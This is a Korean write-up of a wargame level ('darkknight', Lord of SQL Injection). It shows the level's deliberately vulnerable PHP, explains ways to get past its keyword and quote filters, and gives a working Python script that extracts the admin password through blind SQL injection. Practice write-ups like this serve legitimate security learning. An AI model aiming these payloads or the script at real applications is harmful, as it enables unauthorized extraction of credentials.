LORD OF SQL INJECTION [darkknight] 풀이

DARKKNIGHT

 

문제 소스:

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

 

 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

pw 검증 -> blind sql injection

 

 

if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");

substr => mid

= => like  로 우회

 

 

 

pw 글자 수 구하기

 

' 따옴표 필터링으로 인해 'admin'을 hex값으로 넣어서 string으로 인식하도록 함.

 

no = 1 or id like 0x61646d696e and length(pw) like 8

 

 

pw길이는 8. 이제 pw을 구하면 된다.

 

 

이전에는 mid(pw,1,1) like '0' 으로 하면 되었지만

' 따옴표을 필터링 하기 때문에 아스키 값으로 바꿔서 비교를 해야 한다.

 

ord(mid(pw,1,1)) like 48

 

 

 

풀이 코드 :

import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        #payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie', 'PHPSESSID=s9nkrte43d9mdtk5e0r6b54mfa')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)